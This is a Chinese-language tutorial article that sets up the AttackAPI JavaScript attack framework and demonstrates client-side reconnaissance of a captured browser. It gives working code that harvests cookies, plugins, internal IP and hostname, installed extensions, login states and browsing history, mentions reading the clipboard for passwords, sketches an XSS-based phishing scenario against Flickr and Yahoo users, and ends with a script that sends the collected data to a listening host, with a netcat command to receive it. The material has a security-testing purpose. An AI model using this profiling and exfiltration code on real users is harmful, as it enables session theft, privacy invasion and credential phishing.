精通JavaScript攻擊框架:AttackAPI環境搭設
原創【51CTO.com 獨家特稿】多年來客戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,客戶端安全已經成為信息安全領域的焦點之一。Web惡意軟件、AJAX蠕蟲、瀏覽歷史暴破、登錄檢測、傀儡控制技術網絡端口掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。
一種類型的安全專業浮現并變成主流利用機制時,供應廠商和個人就會開始發行框架和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。
由于存在多種可能的攻擊矢量,Web應用程序安全社區也建立了多個框架來探測、利用安全漏洞,從而揭示Web 開發社區所面臨的種種問題。而本文將向大家介紹AttackAPI的詳細使用方法。
一、AttackAPI概述
AttackAPI是一個基于Web的攻擊構造庫,它可以結合PHP、JavaScript及其他客戶端和服務器端技術進行使用。AttackAPI有幾十個不同功能的模塊組成,這些模塊既可以從瀏覽器使用,也可以從JavaScript解釋器執行,例如 Mozilla Rhino。它的目標是為實現漏洞利用而提供一個簡單易用的接口,主要用于測試和驗證之用。
在開始研究AttackAPI子程序之前,我們先來做一些準備工作。首先,下載該庫,然后搭設一個測試環境,我們將在這個環境中開發大部分示例程序。為此,我們需要安裝、運行以下應用程序:
支持PHP 4.x或者更新的版本的HTTP服務器(Apache+PHP或者AppServ)
www.apache.org/
www.php.net/
www.appservnetwork.com/
從GNUCITIZEN下載最新的AttackAPI
www.gnucitizen.org/projects/attackapi
Mozilla的網絡瀏覽器Firefox
www.getfirefox.com
Firefox擴展Firebug,地址www.getfirebug.com/
啟動Apache HTTP 服務器并且確保已在正常運行中。 在網上,介紹這類任務文檔很多,在此不再贅述。然后,從GNUCITIZEN下載AttackAPI程序包 ,并且將其抽取到Web服務器的根文件夾中。例如,如果使用的是AppServ,那么可以將這些文件放在C:\AppServ\www\attackapi中。
確保運行的Firefox已經安裝了Firebug。我們之所以不辭勞苦的準備這些東西,是因為它們可以在將來為我們剩下許多力氣,當我們從Firebug的動態控制臺下做這些工作的時候,要比不停地保存和打開一些隨機的臨時文件要輕松得多。雖然我們這里使用的是Firefox,但是這里的例子照樣可以用在其它瀏覽器上,只需稍作修改即可。
做好這些初始設置后,打開Firefox,從localhost導航至AttackAPI文件夾,即http://localhost/attackapi。這時就會看到如圖1所示內容。
![]() |
圖1 |
從AttackAPI的文件結構來到Build|Tests|firetest-interactive.htm,這個文件中包含了下面我們將用到的一些元素。因為我們不會對打開的頁面的HTML內容做任何修改,所以打開 Firebug,并調整控制臺使其擴展至整個屏幕。
確保位于Console 選項卡中,并輸入命令:dir(AttackAPI)。如果一切正常的話,就會看到如圖2所示的AttackAPI 文檔對象模型(DOM)結構。
![]() |
圖2 |
在本文剩下部分中,我們將使用$A對象而不是AttackAPI來訪問和調用庫對象和方法。$A對象是AttackAPI的一個獨立的實例,并且包含更易使用的AttackAPI方法的快捷方式。 AttackAPI是一個結構化程度很高的庫,通過圖2可以看出,它還進一步分為AttackAPI.core(庫核心)、AttackAPI.dom(跨瀏覽器的方法)和AttackAPI.utils(跨解釋器的方法)。通過使用上面所說的約定,AttackAPI的base64編碼函數的完整路徑為$A.encodeBase64,是不是非常簡潔呀?!這樣輸入代碼的時候是不是省力氣了,所以說,懶惰是促進人類進步的主要動力之一。
由于我們需要輸入的代碼較多,所以建議使用更大的命令行,首先在“選項”下拉菜單中選擇“更大的命令行”選項,如同圖3所示。
![]() |
圖3 |
這時命令行會出現在窗口的右側,如下圖所示:
![]() |
圖4 |
因為我們要鍵入許多代碼,所以難免出現輸入錯誤。所以打開更大的命令行之后,改起來會更快、更好。
需要注意的是,我們可以使用Load AttackAPI 書簽將AttackAPI 加載到選擇的頁面上,尤其是當我們需要為某個站點開發利用程序,但是又不想通過Firebug修改該頁面的源代碼或者插入腳本標簽的時候格外有用。該bookmarklet可以是從www.gnucitizen.org/projects/load-attackapi-bookmarklet下載。現在開始研究AttackAPI的客戶端踩點功能。
#p#
二、客戶端踩點
攻擊者一旦控制了受害者的瀏覽器,他們首先要做的第一件事情就是弄清楚他們俘獲的到底是什么樣的客戶端和平臺。為達到這一目的,他們只需在Firebug的命令行中輸入下列命令便可:
console.log($A.getAgent() );
console.log($A.getPlatform() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
![]() |
圖5 |
如您所見,瀏覽器類型和操作系統版本已經展現在我們眼前了——事情就是這么簡單!
然而,攻擊者能做的事情遠不止這些。在Firebug的命令行下輸入如下所示的兩行命令:
console.dir($A.getCookies() );
console.dir($A.getPlugins() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
![]() |
圖6 |
GetCookies函數會檢索出所有可用的Cookie,注意,這里的getCookies函數是一個易于使用的JavaScript 對象,這樣我們就無需對DOM對象document.cookie 進行手動解析了。 與getCookies函數類似,getPlugins函數會列出目前已經安裝的所有瀏覽器插件;這個函數能夠運行在大多數瀏覽器上,但是Internet Explorer(IE)除外。
這里需要注意,如果客戶端使用的是IE的話,AttackAPI能夠訪問存儲在剪貼板中的數據:我們可以使用AttackAPI.dom.getClipboard來讀取剪貼板,并能使用AttackAPI.dom.setClipboard 函數來設置剪貼板。通常情況下,剪貼板會保存有攻擊者感興趣的內容,例如用戶有時候會復制粘貼他們的密碼。通過使用這項功能,攻擊者可以很輕松地竊取剪貼板中的數據,進而利用這些數據來控制用戶帳戶。
我們知道,攻擊者可以攻擊位于局域網內部的設備。為此,他們必須具有對局域網內部結構有一個很好的了解才行,對內部網絡圖范圍更應該有一個詳細的了解。他們可以做出以下假設,家庭用戶的地址范圍為192.168.0.0–192.168.1.0,邊界路由器地址為192.168.0.1或者192.168.1.1,而企業用戶位于10.0.0.0范圍內,因為這個地址范圍能夠容納更多的用戶。另一方面,在下列三個AttackAPI函數的幫助下攻擊者可以很輕松地獲得內部網絡信息:
console.log($A.getInternalIP() );
console.log($A.getInternalHostname() );
console.dir($A.getInternalNetworkInfo() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
![]() |
圖7 |
攻擊者可以很輕松地使用以下命令推測出邊界路由器:
console.log(new String($A.getInternalIP() ).replace(/.\d+$/, ‘.1’) );
知道了這些,攻擊者可以針對它發動大量不同的攻擊,以確定它的類型和版本,并最終通過跨站點腳本攻擊(XSS)或者某些其他弱點來利用這個邊界路由器。盡管老練的攻擊者能夠輕松提出一個合理的猜測,然而,猜測畢竟只是猜測而已,它未必總是有效。下面的內容中,我們將要利用AttackAPI進行更多的網絡操作,但是現在我們只把精力集中在客戶端調查上。
對于AttackAPI來說,激動人心的功能并不在于獲取代理、平臺、cookies、插件和內部網絡信息,更多好戲還在后頭。只要簡單的調用一個函數,攻擊者就可以提取并掃描當前已經安裝的Firefox擴展:
$A.scanExtensions({onfound: function(signature) {
console.dir(signature);
}});
函數scanExtensions使用內置的特征數據庫(AttackAPI.dom.signatures)來調查可用的Firefox擴展。然而,您可以指定您自己的特征碼,如下所示:
$A.scanExtensions({onfound: function(signature) {
console.dir(signature);
}, signatures: [{name: ‘Customize Google’, url:
‘chrome://customizegoogle/skin/32×32.png’}]});
注意,通過了解已經安裝了哪些Firefox擴展有助于揭示某些用戶行為模式。老辣的社會工程人員可以用來發動成功攻擊。例如,如果如果客戶端已經安裝了FlickrFox、Picture2Life或者Flickrgethighrez擴展,那么他很可能具有一個Flickr帳戶。
如果在flickr.com 或者yahoo.com 上發現了XSS 安全漏洞,攻擊者就可以向這些用戶發送一封郵件,說他們的帳戶出了問題。并且讓這個郵件貌似來自他們使用的擴展。當他們確認該消息時,他們會被重定向至flickr.com 或者yahoo.com 的登錄頁面,這時他們會在此輸入其證書以便登錄。
這時,攻擊者就可以完全控制他們的證書,并且具有了這個在線身份所具有的一切權限。
利用AttackAPI來檢測一個用戶是否已經登錄Flickr站點非常簡單,只需用到scanStates函數和內部特征數據庫:
$A.scanStates({onfound: function(signature) {
console.dir(signature);
}});
就像函數scanExtensions一樣,您可以指定自己的特征碼,如下所示:
$A.scanStates({onfound: function(signature) {
console.dir(signature);
}, signatures: [name: ‘Flickr Logged In User’, url: ‘http://www.fl ickr.com/
account’, message: ‘syntax error’, line: 1}]});
欲了解如何為scanExtensios和scanStates函數編寫特征碼的更多信息,請訪問AttackAPI主頁,地址為www.gnucitizen.org/projects/attackapi。
迄今為止,我們已經看到即使對AttackAPI的工作原理沒有深入了解,也可以輕松地用它來完成的許多任務。我們這里要展示的最后一個函數將用來顯示客戶端瀏覽歷史。讓我們看看以下代碼:
$A.scanHistory({onfound: function(url) {
console.log(url);
}});
通過上述代碼,就可以查看最近訪問的位于AttackAPI特征數據庫中所有站點。就像其他掃描函數一樣,您可以指定自己的要掃描的瀏覽歷史列表,如下所示:
$A.scanHistory({onfound: function(url) {
console.log(url);
}, urls: [‘http://www.google.com’, ‘http://www.gnucitizen.org’]});
需要注意的是,雖然攻擊者可以將該技術用于惡意目的,但是有些情況下它也有好的一面。例如,為了調查取證,人們可以掃描大量用戶以識別訪問過可疑站點的個人。
讓我們看看如何使用上面所有這些函數來對用戶進行全面的調查。在代碼片斷之后,我們還列出了收集到的各種信息:
var data = {
agent: $A.getAgent(),
platform: $A.getPlatform(),
cookies: $A.getCookies(),
plugins: $A.getPlugins(),
ip: $A.getInternalIP(),
hostname: $A.getInternalHostname(),
extensions: [],
states: [],
history: []};
var completed = 0;
$A.scanExtensions({
onfound: function (signature) {
data.extensions.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanStates({
onfound: function (signature) {
data.states.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanHistory({
onfound: function (url) {
data.history.push(url);
},
oncomplete: function () {
completed += 1;
}
});
var tmr = window.setInterval(function () {
if (completed < 3)
return;
console.dir(data);
window.clearInterval(tmr);
}, 1000);
這段代碼最終通過利用AttackAPI進行全面的客戶端調。其中scanStates、scanHistory和scanextensions函數都需要一個回調參數(即onfound事件)來返回結果,這一點需要注意。記住,JavaScript程序不是線性的。為此,我們必須等待這些函數結束,然后繼續正常的程序執行路徑。
這個任務可以通過window.setInterval函數幫我們完成。setInterval函數被配置成檢查每秒完成的變量的數量。當這個數量達到3時,將收集到的信息顯示在屏幕上。
當攻擊者檢索這個信息時,他可能想要將該信息從客戶端輸送到某個存儲點以便做進一步的調查。考慮一下,當我們分析某個讀者屬于哪個用戶組時這些信息是多么的有用!這個信息不僅對市場營銷非常有用,而且對攻擊者的統計工具也是很有價值的。
取得客戶端到服務器的日期也是一個挑戰,不過AttackAPI利用一個單一的函數解決了所有瀏覽器兼容模式。下面看看我們是如何改寫客戶端調查代碼的:
var data = {
agent: $A.getAgent(),
platform: $A.getPlatform(),
cookies: $A.buildQuery($A.getCookies() ),
plugins: $A.getPlugins().join(‘,’),
ip: $A.getInternalIP(),
hostname: $A.getInternalHostname(),
extensions: [],
states: [],
history: []};
var completed = 0;
$A.scanExtensions({
onfound: function (signature) {
data.extensions.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanStates({
onfound: function (signature) {
data.states.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanHistory({
onfound: function (url) {
data.history.push(url);
},
oncomplete: function () {
completed += 1;
}
});
var tmr = window.setInterval(function () {
if (completed < 3)
return;
data.extensions = data.extensions.join(‘,’);
data.states = data.states.join(‘,’);
data.history = data.history.join(‘,’);
$A.transport({url: ‘http://localhost:8888/collect’, query: data});
window.clearInterval(tmr);
}, 1000);
如您所見,這里的代碼跟之前的非常相似,當然也有不同之處,首先我們確信所有數據都存儲為String對象。 數組項是連續的、用逗號隔離的列表,可以利用統一資源定位符(URL)查詢來導出各個對象。您可以很輕松地利用$A.buildQuery 函數來構造查詢。函數調用$A.buildQuery({name: ‘Fred’, lastName: ‘Johnson’});會導致name=Fred&lastName=Johnson。
回到我們的客戶端調查代碼,您可以很輕松地測試傳送機制。只需把NetCat設置成監聽狀態,如下所示。利用下列命令,我們將打開端口8888,并將信息輸出等級設為較大值,即輸出更為詳細的信息:
nc -l -p 8888 -vvv
您一旦在Firebug控制臺執行了這些JavaScript代碼,將會看到所有到達NetCat的數據都變成一個長長的URL編碼的字符串。當然,您可以使用任何類型的編碼(例如 Base64或者JSON),因為URL編碼是默認支持的,所以使用它的時候無需作任何變更。
#p#
三、小結
多年來客戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,客戶端安全已經成為信息安全領域的焦點之一。Web惡意軟件、AJAX蠕蟲、瀏覽歷史暴破、登錄檢測、傀儡控制技術網絡端口掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。
一種類型的安全專業浮現并變成主流利用機制時,供應廠商和個人就會開始發行框架和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。
由于存在多種可能的攻擊矢量,Web應用程序安全社區也建立了多個框架來探測、利用安全漏洞,從而揭示Web 開發社區所面臨的種種問題。而本文將向大家介紹AttackAPI測試環境的搭設以及客戶端踩點的方法進行了詳盡的介紹,下一篇我們將對AttackAPI的其他用法做詳盡的介紹。
【51CTO.COM 獨家特稿,轉載請注明出處及作者!】
【編輯推薦】